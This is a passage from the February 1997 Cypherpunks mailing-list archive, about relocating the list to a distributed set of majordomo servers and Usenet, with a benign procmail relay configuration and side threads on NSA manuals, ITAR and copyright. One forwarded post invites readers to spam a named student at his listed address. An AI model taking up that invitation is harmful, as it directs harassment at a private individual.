that's actually bouncing? Admittedly, this only > applies to badly-formed bounces. The rest can just have the address > noted. Hmmm, I can see saving the address causing the bounce in some sort of array that is indexed to the majordomo subscription list for a given remailer. It would not cost anything but overhead to save the entire message. I guess my motivation was not that I cared their mailbox was full or it was a invalid address but that I wouldn't be able to deliver at this time. I just don't see any reason that it helps me to know why they can't receive mail only that they can't. > >Want to volunteer? > > Give me some idea of how much programming knowledge, time, etcetera > is required, please, before I can answer. I'd be renting space on some other > computer (e.g., an account on cyberpass.net) to do it in; the only higher-level > programming language (i.e., beyond Applesoft Basic) that I know anything of > is Perl (and I don't know that all that well); and I am somewhat busy with > other stuff. In other words, it depends. Hmmm, not shure how much programming it would take - never done it myself. I think Perl would be an acceptable language. I certainly hope to do the majority of the scripts on the CDR in Perl myself. Perhaps there is somebody who knows the fine points of how INN cache's messages. Redbeard and I had a short discussion about this issue today relating to tracking messages to reduce mail-loops. I will discuss it with him and see what happens. I know exactly what you mean. I have two full-time jobs and hadn't really thought of taking on the cpunks list in any manner. But hey, that is the spice in life... Give me a couple of days to look at the situation and if somebody don't beat me to it I'll post what I find out. Cool? Jim Choate CyberTects ravage at ssz.com From ravage at EINSTEIN.ssz.com Wed Feb 12 18:00:43 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 18:00:43 -0800 (PST) Subject: Network of majordomos (fwd) Message-ID: <199702130200.SAA13598@toad.com> Forwarded message: > Date: Thu, 13 Feb 1997 00:04:44 +0000 > From: paul at fatmans.demon.co.uk > Subject: Re: Network of majordomos > Charter: > > alt.cypherpunks will serve as a discussion forum for the members of > the cypherpunks community. The discussion group previously resided on > a mailing list run at toad.com but due to a difference of opinion > between the majority of active members of the list and the owner of > toad.com, John Gilmore, the list must now relocate onto usenet as a > temporary measure while further measures are put in place to > re-establish a mailing list format. The group has approximately 1500 > members and has been active online for some 5 years. I would like to see that 'temporary measure' changed to one means of distribution and a resource in addition to the remailer chain. I would really like to see this stay in place. Jim Choate CyberTects ravage at ssz.com From tobin at edm.net Wed Feb 12 18:07:37 1997 From: tobin at edm.net (Tobin Fricke) Date: Wed, 12 Feb 1997 18:07:37 -0800 (PST) Subject: NSA Rainbow Series. Message-ID: <199702130207.SAA13999@toad.com> > 1-800-688-6115 press 0 or just wait for the operator. My second > order consisting of posters and video has not arrived either. It has been > about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when > you order the Rainbow series you will be getting a large box.Their are > something like 30+ booklets in the series. > There is a set of security posters that include a Santa > poster.And there is also a video with two films on it (Acess Ins and outs > adb Acess Control). How much does all this stuff from the NSA cost? Tobin Fricke (please reply privately, tobin at mail.edm.net) From bgrosman at magna.com.au Wed Feb 12 18:11:42 1997 From: bgrosman at magna.com.au (Benjamin Grosman) Date: Wed, 12 Feb 1997 18:11:42 -0800 (PST) Subject: Transmission of Crypto material and ITAR Message-ID: <2.2.32.19970213211523.00d318c8@magna.com.au> Dear All, I have a question regarding the impossible enforcement of ITAR/EAR: Naturally I cannot download crypto software from the US, but most of these sites have mirrors in other countries, such as the UK for PGP, and sweden and finland for lots of things. However, with the way that information is routed throughout the internet from these sites, whenever I, in Australia, request packets containing this data from the UK etc, it invariably passes through the US from coast to coast! Therefore, if ITAR/EAR tries to govern that, aren't they really trying to enforce something totally unenforcable? Surely they cannot expect all gateways operated by, say, Sprint and MCI to packet sniff 'n' search? Can anyone tell me what the ruling is with regards to this? Yours Sincerely, Benjamin Grosman ---------------------------------------------------------------- Benjamin Grosman - Programmer, Magna Data Internet Solutions Quidquid latine dictum sit, altum viditur. [Whatever is said in Latin sounds profound.] ---------------------------------------------------------------- From tbray at textuality.com Wed Feb 12 18:47:35 1997 From: tbray at textuality.com (Tim Bray) Date: Wed, 12 Feb 1997 18:47:35 -0800 (PST) Subject: List for discussing many majordomos Message-ID: <3.0.32.19970212184421.00aae098@pop.intergate.bc.ca> some idiot subscribed me. I know how to use majordomo I know how to read mail headers Majordomo says that the address that it is sending this shit to is not on the list Much & all as I sympathize with the ethos and practice of cypherpunkery, please stop. I have asked in the proper approved way many times, and am still deluged. GET ME OFF THIS LIST! Thank you. From adam at homeport.org Wed Feb 12 18:48:35 1997 From: adam at homeport.org (Adam Shostack) Date: Wed, 12 Feb 1997 18:48:35 -0800 (PST) Subject: anonymity and e-cash In-Reply-To: <199702130044.QAA10501@toad.com> Message-ID: <199702130244.VAA08897@homeport.org> In fact, the Identity Agnostic bits were Doug's, and they were focused on the idea that a bank that did not implement blinding could be used in an anonymous fashion by someone willing to violate the patents. /* Blind(*coin) here would violate Chaum's patent, so we * can't do that */ Adam Tim May wrote: | At 1:19 PM -0800 2/12/97, Lee Tien wrote (on the Cypherpunks at toad.com list): | In August of '95, Doug Barnes released a long article on "Identity | Agnostic" systems. (His article is no longer at the www.communities.com Web | site, so I can't refer you to it. Maybe he'll post it again.) | In fact, Ian showed, the Chaum patents on blinding are NOT USED by the | Mint/Bank; only the CUSTOMER uses the blinding patents (and the MERCHANT in | some cases, not in other cases). This means that "anyone a mint" does not | violate any of the Chaum/Digicash patents, and "mint clients" are likely to | be written by third parties. (The _customer_ is presumably on the honor | system to abide by the Chaum patents...except the patents are only being | licensed to banks...go figure.) | | (This is where, as I recall, Doug's "agnostic" system came in...it is | possible his thinking was similar to Ian's...I don't have Doug's paper | handy.) -- "It is seldom that liberty of any kind is lost all at once." -Hume From moroni at scranton.com Wed Feb 12 18:54:09 1997 From: moroni at scranton.com (Moroni) Date: Wed, 12 Feb 1997 18:54:09 -0800 (PST) Subject: NSA Rainbow Series. In-Reply-To: <199702150204.VAA07451@ns1.scranton.com> Message-ID: Zip,NAda,Nothing. And they have more too. They were backlogged so some people haven't gotten their mail since I last posted about. I called yesterday about my videos and posters and lo and behold I received my two tech manuals today. The people who answer the lines are friendly and usually pretty industrious in getting things out or done. By the way there is supposed to be a department split in the near future so I don't know if manuals will be in one department and posters in another or what. On Wed, 12 Feb 1997, Tobin Fricke wrote: > Date: Wed, 12 Feb 1997 18:03:35 -0800 > From: Tobin Fricke > To: Moroni , Genocide > Cc: Cypherpunks Mailing List > Subject: Re: NSA Rainbow Series. > > > 1-800-688-6115 press 0 or just wait for the operator. My second > > order consisting of posters and video has not arrived either. It has been > > about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when > > you order the Rainbow series you will be getting a large box.Their are > > something like 30+ booklets in the series. > > There is a set of security posters that include a Santa > > poster.And there is also a video with two films on it (Acess Ins and outs > > adb Acess Control). > > How much does all this stuff from the NSA cost? > > Tobin Fricke > (please reply privately, tobin at mail.edm.net) > > xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx x No success can compensate for failure in the home. x x x xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx From ichudov at algebra.com Wed Feb 12 18:55:34 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Wed, 12 Feb 1997 18:55:34 -0800 (PST) Subject: subscribe In-Reply-To: <199702130252.UAA02738@einstein> Message-ID: <199702130248.UAA11775@manifold.algebra.com> Jim Choate wrote: > > > Hi Igor, > > > I will not impact me negatively. I do, however, suggest very strongly > > that hosts should be subscribed to each other thgrough another mechanism > > and not majordomo, in order to prevent mail loops, header rewriting and such. > > Suggestions? What I had in mind was that any messages that get sent on > cpunks at ssz.com get sent over to algebra. One mechanism I would like to play > with is a 'linked list' of remailers. Remailer A sends only to B and > receives only from C... > > > A > ^ v > C < B > Then to stop loops B deletes all outgoing mail from B. Since email can be > forwarded from many sites the search must traverse the entire forward chain > killing the message if B appears as a source. I suspect a simple procmail sort > can accomplish this. My next step is to brush up on my procmail. I hope to > have something in a couple of days that will allow you to subscribe > cpunks at algebra to cpunks at ssz and both ends will be filtering. Here's how I do it (it is pretty close to your proposal): 1) I delete duplicate messages (by looking up the database of message-IDs) right away 2) I bounce all incoming messages to several other list servers 3) I pipe the article to majordomo for distribution. Note that majordomo changes headers and I wuold like to feed other servers with UNCHANGED articles. Here's the .procmailrc that takes care of this: (OTHER_HOSTS will be redefined to include, e.g., cypherpunks at ssz.com) # Please check if all the paths in PATH are reachable, remove the ones that # are not. # # NOTE: I use lockfiles extensively (and even excessively) because # I do not want to overburden the system. Since I am on a # PPP link that is not always on, sometimes large amounts of # submissions come in simultaneously and that may impair # performance of the overall system. You do not REALLY need # to use these lockfiles otherwise. ################################################################### PATH=/bin:/usr/bin:/usr/local/bin:$HOME/bin MAILDIR=$HOME/Mail # You'd better make sure it exists DEFAULT=$MAILDIR/mbox # VERBOSE=ON LOGFILE=$MAILDIR/from LOCKFILE=$HOME/.lockmail OTHER_HOSTS="cypherpunks at zzzz.com" :0 c $MAILDIR/allmail ############################################################ mailbombing ############################################################ end mailbombing :0 * ^TOcypherpunks * !^X-Loop: * !FROM_MAILER * !FROM_DAEMON { # # This recipe removes duplicates! # :0 Wh: msgid.lock | formail -D 128000 msgid.cache # send it to all other hosts :0 c !$OTHER_HOSTS # add X-Loop: :0 fhw | formail -I "X-Loop: cypherpunks at algebra.com" # send it to people :0 c | cypherpunks-send-subscribers # Accounting, logging :0 | cypherpunks-accounting } :0: * ^TOcypherpunks-request $DEFAULT # all the rest is trash :0 $DEFAULT # thats where it should be #/dev/null > Another nice advantage of this architecture is that 'rings' of remailers can > be interconnected by simply sending output to more than one site. Might even > be a good stability rule, "Never have a remailer send to more than 1 machine > in its 'own' ring". I see no limit other than resources that would limit the > number of rings an individual remailer might be in. A very good point. > The address is 'cypherpunks at ssz.com' but as alluded to above. I would like > to let it run 1 way for a day or so to get an idea of the stability of our > network link. You might consider creating a bogus username on your end. > Subscribe that user to the SSZ remailer and to your own mail list. Then use > procmail to filter all outgoing mail of that user since its incoming would > be from your list and its outgoing would go to mine, which then forwards > them to your list. We might want to call the bogus user 'gatekeeper'. Yes, we really should make darn sure that no loops are poissible before inviting people to subscribe to our lists. > If its agreeable lets get together on the cpunks-hosts list tomorrow and > discuss this a little more. > > If you don't mind, please forward this to the cpunks at toad list with your > responces. I would like to expose it to a little criticism. > - Igor. From ravage at EINSTEIN.ssz.com Wed Feb 12 18:55:49 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 18:55:49 -0800 (PST) Subject: Cypherpunks Distributed Remailer Message-ID: <199702130302.VAA02808@einstein> Hi, We have established the first link between cypherpunks at ssz.com and cypherpunks at algebra.com. Testing will continue for about 24 hours and we hope to have the link going two-way within a couple of days. If testing proceeds at the current pace we should be ready to go for a 3-way link if anyone will be ready this weekend. If we can get a 3-way going we should be ready for prime time. Jim Choate CyberTects ravage at ssz.com From tobin at edm.net Wed Feb 12 18:56:17 1997 From: tobin at edm.net (Tobin Fricke) Date: Wed, 12 Feb 1997 18:56:17 -0800 (PST) Subject: NSA Rainbow Series. Message-ID: <199702130256.SAA18277@toad.com> > 1-800-688-6115 press 0 or just wait for the operator. My second > order consisting of posters and video has not arrived either. It has been > about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when > you order the Rainbow series you will be getting a large box.Their are > something like 30+ booklets in the series. > There is a set of security posters that include a Santa > poster.And there is also a video with two films on it (Acess Ins and outs > adb Acess Control). How much does all this stuff from the NSA cost? Tobin Fricke (please reply privately, tobin at mail.edm.net) From bgrosman at magna.com.au Wed Feb 12 18:56:30 1997 From: bgrosman at magna.com.au (Benjamin Grosman) Date: Wed, 12 Feb 1997 18:56:30 -0800 (PST) Subject: Transmission of Crypto material and ITAR Message-ID: <199702130256.SAA18293@toad.com> Dear All, I have a question regarding the impossible enforcement of ITAR/EAR: Naturally I cannot download crypto software from the US, but most of these sites have mirrors in other countries, such as the UK for PGP, and sweden and finland for lots of things. However, with the way that information is routed throughout the internet from these sites, whenever I, in Australia, request packets containing this data from the UK etc, it invariably passes through the US from coast to coast! Therefore, if ITAR/EAR tries to govern that, aren't they really trying to enforce something totally unenforcable? Surely they cannot expect all gateways operated by, say, Sprint and MCI to packet sniff 'n' search? Can anyone tell me what the ruling is with regards to this? Yours Sincerely, Benjamin Grosman ---------------------------------------------------------------- Benjamin Grosman - Programmer, Magna Data Internet Solutions Quidquid latine dictum sit, altum viditur. [Whatever is said in Latin sounds profound.] ---------------------------------------------------------------- From tobin at edm.net Wed Feb 12 18:57:52 1997 From: tobin at edm.net (Tobin Fricke) Date: Wed, 12 Feb 1997 18:57:52 -0800 (PST) Subject: Speaker needed Message-ID: <199702130257.SAA18397@toad.com> If anyone is going to be in south Orange County, California during the third week in March, and is interested in speaking to a group of high school students on Cryptography and the political and economic considerations involved, please contact me via email at tobin at mail.edm.net. Thank you. (I'm not on cypherpunks, so don't email the list.) Tobin From tcmay at got.net Wed Feb 12 19:05:23 1997 From: tcmay at got.net (Timothy C. May) Date: Wed, 12 Feb 1997 19:05:23 -0800 (PST) Subject: NSA Rainbow Series. In-Reply-To: <199702150204.VAA07451@ns1.scranton.com> Message-ID: At 9:53 PM -0500 2/12/97, Moroni wrote: > Zip,NAda,Nothing. And they have more too. They were backlogged so >some people haven't gotten their mail since I last posted about. I called >yesterday about my videos and posters and lo and behold I received my two >tech manuals today. > The people who answer the lines are friendly and usually pretty >industrious in getting things out or done. > By the way there is supposed to be a department split in the near >future so I don't know if manuals will be in one department and posters in >another or what. By the way, I say "FORGET IT" to the NSA Rainbow manuals. A worthless pile of crap. I subscribed to them several years ago, got the Big Box of Manuals, and then got new editions every few months for several years. None of them were ever useful to me in even the slightest way. They are written in "bureaucratese," so they're not even fun reading. If they're not on the Web by now it just shows what a sicko government agency the NSA and NCSA is, and if they _are_ on the Web, you'll see what I mean quickly enough. Even for "novelty value" ("Hey, Tim, the mail guy just delivered a package from the National Security Agency!") the books are worth very little. Do a tree a favor and just say No to the Rainbow series. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From markk at randomc.com Wed Feb 12 19:07:00 1997 From: markk at randomc.com (Mark Krell) Date: Wed, 12 Feb 1997 19:07:00 -0800 (PST) Subject: No Subject Message-ID: <3.0.32.19970212220231.00570ed0@randomc.com> you are forwarding messages to me... stop it. remove markk at ra1.randomc.com from your mail list... all of a sudden I'm getting mail from bunches of people i don't know and who don't know me. help me out... go to the place where you got my email address and have them correct their links. Thank you. markk From ichudov at algebra.com Wed Feb 12 19:26:56 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Wed, 12 Feb 1997 19:26:56 -0800 (PST) Subject: How to make majordomo request confirmations of subscriptions? Message-ID: <199702130324.VAA12219@manifold.algebra.com> Hi All, I would like to set up my majordomo to request subscription confirmations from users, by sending them a cookie. Looking at the majordomo config files, I have not found such option. Ideally I would like to have a system that a) requires the new users confirm new subscriptions and b) once in a while as users to confirm their existing subscriptions. Is there any way to do it? Thank you. - Igor. From camcc at abraxis.com Wed Feb 12 19:34:47 1997 From: camcc at abraxis.com (Alec) Date: Wed, 12 Feb 1997 19:34:47 -0800 (PST) Subject: Re? Message-ID: <3.0.32.19970212223615.0069e468@smtp1.abraxis.com> At 10:02 PM 2/12/97 -0500, you nastily wrote in the form of : : :Attachment Converted: "c:\remove1.txt" : How, do you imagine, did you get on this God-forsaken list? Anger abounds. Is this Kismet that you are here now at this crucial moment of the list's evolution? Perhaps you have something to offer of which you are not aware. Avail yourself of our hospitality as we implode. Flee not. There is meaning to this. So our savants have told us. Speak the words to Majordomo at toad.com in the message panel (no quotes): "unsubscribe cypherpunks" Speak only thus. Bother us no more at our moment of transfiguration. Hail and farewell, Bro. From omegam at cmq.com Wed Feb 12 19:42:27 1997 From: omegam at cmq.com (Omegaman) Date: Wed, 12 Feb 1997 19:42:27 -0800 (PST) Subject: Cypherpunks Distributed Remailer In-Reply-To: <199702130302.VAA02808@einstein> Message-ID: <199702130341.VAA05333@jolietjake.com> Jim Choate writes: > > Hi, > > We have established the first link between cypherpunks at ssz.com and > cypherpunks at algebra.com. Testing will continue for about 24 hours and we > hope to have the link going two-way within a couple of days. > > If testing proceeds at the current pace we should be ready to go for a 3-way > link if anyone will be ready this weekend. If we can get a 3-way going we > should be ready for prime time. Jim, I suggest getting in touch with Lance Cottrell (loki at Cyberpass.net) ASAP and coordinating with him as he has the facilities to host the entire list, but desires the distributed approach. He is currently gating Cypherpunks-unedited at toad.com to subscribers of cypherpunks at Cyberpass.net. He would make an excellent third link in the chain and seems to be willing. Furthermore, he has also indicated that he is eventually interested in gating back and forth to the newly created and already-active alt.cypherpunks. He needs help and information on just how to do that, though. This would complete the circle, syncing all the available routes to cypherpunks. All will benefit by having the choice of mail-filters and/or newsreading facilities to experience the unfiltered/unedited/unstoppable list. Hope the experiments prove sturdy and wish all best of luck. me -- _______________________________________________________________ Omegaman PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2 59 0A 01 E3 AF 81 94 63 Send e-mail with "get key" in the "Subject:" field to get a copy of my public key _______________________________________________________________ From dlv at bwalk.dm.com Wed Feb 12 19:50:20 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 12 Feb 1997 19:50:20 -0800 (PST) Subject: You guys/gals oughta get a kick outta this guy In-Reply-To: <199702111442.GAA20312@toad.com> Message-ID: This sounds like the web server: * it comes without source code * the vendor is infamous for lying and for having security holes * attempts to discuss the product's security result in lawyer letters. Rick Osborne writes: > Yet another person who needs a good stern talking to by the nearest > cypherpunk --- this guy posted to comp.lang.perl.misc with the following > blasphemy, which I luaghed at until I had tears in my eyes. > --BEGIN COMPLETE STUPIDITY-- > I want to make it executable to protect the source code from being read. I > don't want the source code available because I don't want people looking > for security holes. > --END COMPLETE STUPIDITY-- > > If anyone wants to spam this guy, or at least show him the error of his > ways, his sig explains the necessary info: > > David K. > djk490s at nic.smsu.edu > > > _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ > If the ionization rate is constant for all ectoplasmic entities, we could > really bust some heads! In a spiritual sense, of course. > > --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From declan at pathfinder.com Wed Feb 12 20:00:05 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Wed, 12 Feb 1997 20:00:05 -0800 (PST) Subject: Private property rights on cypherpunks In-Reply-To: <199702122125.NAA05544@toad.com> Message-ID: I forward articles to cypherpunks that are copyrighted by my employers, or magazines like Playboy and Wired for which I write freelance pieces. I like to think these articles have some value. I will not forward any of them, nor would I be able to, if they magically became "public domain." "De facto public domain" is an idea that deserves to die. Now. -Declan On Wed, 12 Feb 1997, Jim Choate wrote: > > Forwarded message: > > > Date: Tue, 11 Feb 1997 22:46:03 -0800 > > From: Greg Broiles > > Subject: List for discussing many majordomos > > > Yes, this is a good idea. One of the proponents of the "many majordomos" > > project apparently has plans to impose his own ideas about intellectual > > property on the project, and this seems like a pretty serious thing for a > > setup that's allegedly going to prevent censorship. We need a place to > > discuss this. > > Please explain how making submissions de facto public domain censors > anyone? > > > Jim Choate > CyberTects > ravage at ssz.com > > > From reece at taz.nceye.net Wed Feb 12 20:02:35 1997 From: reece at taz.nceye.net (Bryan Reece) Date: Wed, 12 Feb 1997 20:02:35 -0800 (PST) Subject: Network of majordomos (fwd) In-Reply-To: <199702122313.PAA08357@toad.com> Message-ID: <19970213040230.29730.qmail@taz.nceye.net> Date: Wed, 12 Feb 1997 14:33:03 -0800 From: Greg Broiles Yes, I installed INN and ran a few hundred test messages through it last night. My machine will be on the net full-time Thursday or Friday. Will yours be ready then, too? We've got INN here. I created a cpunks.general group (as well as alt.cypherpunks) on taz.nceye.net and made both world-accessible. Our feed hasn't got alt.cypherpunks yet; is someone who has got it willing to feed it? (also, is there a consensus on what group names to use: new top-level hierarchy? cpunks or cypherpunks? or just the alt group, with the usual propagation and spam problems?) From omegam at cmq.com Wed Feb 12 20:06:08 1997 From: omegam at cmq.com (Omegaman) Date: Wed, 12 Feb 1997 20:06:08 -0800 (PST) Subject: Newgroup -- distributed mailing list on the way? Message-ID: The following message is a courtesy copy of an article that has been posted as well. It appears that the distributed mailing-list effort is well underway. Experiments by Igor Chudov and Jim Choate are progressing. The next few weeks should iron out the kinks.(over-optimism?) Lance Cottrell (mixmaster author) has also agreed to host the list, the entire list if need-be. Although his posts on the cypherpunks list indicate that he favors the distributed list approach. Lance is also in the unique position of having the computing resources to feed the list to and from alt.cypherpunks. Furthermore, Lance seems to be favorable to this idea as well. However, he needs help in getting up to speed on just how to create and run this news-to-mail/mail-to-news gateway. What this means is that the same list will be propagated through multiple sources, making the destruction or loss of any one source non-catastrophic. It is also the classic net approach of routing around censorship channels. Furthermore, users who cannot access the alt.* hierarchy or easily read newsgroups have the option of subscribing to mailing lists and receiving the same uncensored feed. This also means that users will have a maximum amount of resources at their disposal to better experience the list and eliminate the net's inevitable spam and noise. Users who have access to or prefer powerful newsreaders and NoCeM's can use them at will. Users who have procmail, Pegasus Mail, Eudora Mail and other email-filtering schemes can use those powerful tools. It is likely that the cypherpunks list/group will remain a target of spammers and disruptors. The controversial topics are bound to generate noise. The entrance of unitiated individuals via Usenet is bound to create some interesting and sometimes aggravating discussions as well as the inevitable re-hashing of some old issues. The unfiltered, uncensored, and multi-homed list/group leaves the responsibility where it belongs, in the lap of end-user. Ignore the noise and the noisemakers. Defeat the disruptors by avoiding them. Accept your responsiblity and contribute Signal whenever you can. "Arise! You have nothing to lose but your barbed-wire fences." git along 'lil doggies From richieb at teleport.com Wed Feb 12 20:10:25 1997 From: richieb at teleport.com (Rich Burroughs) Date: Wed, 12 Feb 1997 20:10:25 -0800 (PST) Subject: New group Message-ID: <3.0.32.19970212200548.01571d64@mail.teleport.com> At 06:38 AM 2/12/97 -0800, Dale Thorn wrote: >Paul Bradley wrote: >> Well despite the obvious problems of propogation I thought it was time >> someone actually did something to get us a new home, even if it`s only >> temporary. So I have created alt.cypherpunks... See you all over on >> usenet!... > >I pressed the URL alt.cypherpunks and my Netscape server said >"no such thing" or words to that effect. It has to be created on your local server, Dale. Wait a bit, and if doesn't show up speak to someone st your ISP. Rich ______________________________________________________________________ Rich Burroughs richieb at teleport.com http://www.teleport.com/~richieb U.S. State Censorship Page at - http://www.teleport.com/~richieb/state dec96 issue "cause for alarm" - http://www.teleport.com/~richieb/cause From adam at homeport.org Wed Feb 12 20:18:15 1997 From: adam at homeport.org (Adam Shostack) Date: Wed, 12 Feb 1997 20:18:15 -0800 (PST) Subject: Cypherpunks Distributed Remailer (fwd) In-Reply-To: <199702122057.MAA04643@toad.com> Message-ID: <199702130414.XAA09293@homeport.org> Jim Choate wrote: | | Forwarded message: | | > Date: Wed, 12 Feb 1997 14:22 EDT | > From: "E. Allen Smith" | | > Umm... because you'll eventually accumulate _lots_ of addresses | > that don't work, which will slow things down tremendously in sending | > mail out? | | The current subscription is between 1,000 and 2,000 I don't think that is | _lots_. All we need to do is count the number of bounces per address in | a given period, the SSZ end is trying to decide between weekly or | monthly cleanings, and then clear that address. At no point would I need | to archive the original bounce. qmail has bounce management software for its list management tools. (bounceman) "Russell Nelson has a bounce manager which totally eliminates any need to deal with bounces." www.qmail.org -- "It is seldom that liberty of any kind is lost all at once." -Hume From ravage at EINSTEIN.ssz.com Wed Feb 12 20:24:02 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 20:24:02 -0800 (PST) Subject: Private property rights on cypherpunks (fwd) Message-ID: <199702130430.WAA03048@einstein> Forwarded message: > Date: Wed, 12 Feb 1997 22:58:42 -0500 (EST) > From: Declan McCullagh > Subject: Private property rights on cypherpunks > I forward articles to cypherpunks that are copyrighted by my employers, or > magazines like Playboy and Wired for which I write freelance pieces. > > I like to think these articles have some value. I will not forward any of > them, nor would I be able to, if they magically became "public domain." > > "De facto public domain" is an idea that deserves to die. Now. Really? Do you have a priori permission from your publisher, who owns those stories, to distribute them elsewhere? If not please explain why I or any other person should be a willing acomplice? You could also still post them anonymously. You could also simply include a 'fair use' proviso somewhere. In such a case it would be in your publishers best interest to require a copyright notice. In that case there is no confusion about who owns those rights. Especialy when you consider the traffic is global which means your 'implied copyright' here don't mean squat there. I suspect just about every place that recognizes a copyright recognizes an explicit one. Instead of "De facto public domain should die" how about, "Implied a priori contracts should die now" Lord a mighty, haven't you heard? Information wants to be free. Let the thing go. If you really think your words are something that will someday win a Nobel or make Mr. Bill look like a pauper note it explicitly. However, it would seem to me that implicit copyright works against the axiomatic crypto-icon. Jim Choate CyberTects ravage at ssz.com From adam at homeport.org Wed Feb 12 20:26:49 1997 From: adam at homeport.org (Adam Shostack) Date: Wed, 12 Feb 1997 20:26:49 -0800 (PST) Subject: whois cypherpunks.org ? In-Reply-To: <199702120616.WAA07536@toad.com> Message-ID: <199702130419.XAA09321@homeport.org> Aleph1 (Levy) is a grey hatted hacker. Amongst other things, he moderates the bugtraq mailing list. Decent fellow. Adam Anil Das wrote: | With all this talk about relocating the home of cypherpunks, I decided to | see if any second level domains are registered under the cypherpunks | name. | | Both cypherpunks.org and cypherpunks.com are registered by one | Elias M. Levy in Ft. Meade, MD. I haven't seen his name on the list | though. Anybody knows more about this? | | -- | Anil Das | -- "It is seldom that liberty of any kind is lost all at once." -Hume From ichudov at algebra.com Wed Feb 12 20:31:07 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Wed, 12 Feb 1997 20:31:07 -0800 (PST) Subject: Network of majordomos (fwd) In-Reply-To: <19970213040230.29730.qmail@taz.nceye.net> Message-ID: <199702130424.WAA12995@manifold.algebra.com> Bryan, What you did may be the ideal way to go actually. It would be great to have several NNTP servers with these (or similarly named) groups open to the world. I believe that it is possible to set them up such that they feed each other. say, the following groups may be good: cypherpunks.crypto cypherpunks.politics cypherpunks.flames cypherpunks.products cypherpunks.pgp (sort of redundant with the pgp newsgroups) cypherpunks.groups cypherpunks.admin cypherpunks.kooks cypherpunks.remailers cypherpunks.paranoia (or cypherpunks.tla) cypherpunks.politics.assassination cypherpunks.censorship (the following part is more questionable as some people would argue in favor of nocems) cypherpunks.moderated.sandy-sandfort cypherpunks.moderated.ray-arachelian cypherpunks.moderated.tim-may cypherpunks.moderated.... whoever else wants ... igor Bryan Reece wrote: > > Date: Wed, 12 Feb 1997 14:33:03 -0800 > From: Greg Broiles > > Yes, I installed INN and ran a few hundred test messages through it last > night. My machine will be on the net full-time Thursday or Friday. Will yours > be ready then, too? > > We've got INN here. I created a cpunks.general group (as well as > alt.cypherpunks) on taz.nceye.net and made both world-accessible. Our > feed hasn't got alt.cypherpunks yet; is someone who has got it willing > to feed it? (also, is there a consensus on what group names to use: > new top-level hierarchy? cpunks or cypherpunks? or just the alt group, > with the usual propagation and spam problems?) > - Igor. From markk at randomc.com Wed Feb 12 20:56:30 1997 From: markk at randomc.com (Mark Krell) Date: Wed, 12 Feb 1997 20:56:30 -0800 (PST) Subject: Cypherpunks Distributed Remailer Message-ID: <3.0.32.19970212235229.005742d8@randomc.com> >Date: Wed, 12 Feb 1997 14:22 EDT >From: "E. Allen Smith" >To: ravage at EINSTEIN.ssz.com >Cc: cypherpunks at toad.com, list-managers at greatcircle.com >Subject: Re: Cypherpunks Distributed Remailer >Sender: owner-cypherpunks at toad.com > >From: IN%"ravage at EINSTEIN.ssz.com" "Jim Choate" 12-FEB-1997 11:59:08.20 > >>> Date: Tue, 11 Feb 1997 19:18:46 -0600 (CST) >>> From: ichudov at algebra.com >>> Subject: Re: Moderation experiment almost over; "put up or shut up" > >>> John Gilmore wrote: >>> > A pentium is definitely up to this task. I've been running it the >>> > whole time on a slower 40MB SPARCstation-2 (that also runs netnews and >>> > general computing). Give it a big /var/spool partition (mine is 60MB) >>> > because every message will sit in the queue for days (*somebody* on >>> > the list will have an unreachable name server or MX server until the >>> > msg times out). Give it lots of RAM and paging space, since each >>> > sendmail process takes about 2MB virtual, 1.4MB physical, and you will >>> > have dozens running at the same time. > >>My approach to this problem has been to use a 1G drive and mount the entire >>file system on it. Swap and MS-Dos each get their own partitions. This >>allows the use of the entire drive as a buffer. I am in the process of >>adding another 1G in approx. two weeks with the intent of moving /home off >>the main drive. This not only gives the system more space but the users as >>well. I set swap to 4x main ram. I use Linux and have it as one giant >>partition even though suggested is blocks of 16M, works for me (YMMV). Would >>be minor to monitor df and alarm when it gets to 200M or something. > >>I must admit however that I am looking at a faster mbrd. and a bigger hard >>drive in the immediate future to make up for the extra load I expect. Had >>not really planned on the remailer project however... > >>> > You'll need a BIG mailbox for the bounce messages, and someone (or >>> > some unwritten software) to scan it every day or two and delete the >>> > lusers whose mailboxes are full or who dumped their account without >>> > unsubscribing. The bounce mailbox on toad gets between 1 and 4MB of >>> > email a day; more when the list is under attack. > >>How about dumping the bounces to /dev/null? I shure don't care if some >>bozo's (other than mine that is) mailbox goes away. > > Umm... because you'll eventually accumulate _lots_ of addresses >that don't work, which will slow things down tremendously in sending >mail out? > >>> > The real issue is how willing you are to put your own time into >>> > dealing with problems. Not only do things go wrong by themselves, but >>> > there are malicious assholes in the world who will deliberately make >>> > trouble for you just because they like to. Spending a day or two >>> > cleaning up the mess is just part of the job. Check your level of >>> > committment two or three times before taking on the task -- so you >>> > won't end up getting disgusted after a month or two and putting the >>> > list's existence into crisis again. It's not a "set it up and forget >>> > it" kind of operation. > >>I can verify this. If I was not already having to deal with these problem >>as a current mailing list operator I certainly would not take on the >>job. It is one of the reasons I STRONGLY suggest anyone serious about this >>should use the resources to make money as well. Anyone capable of 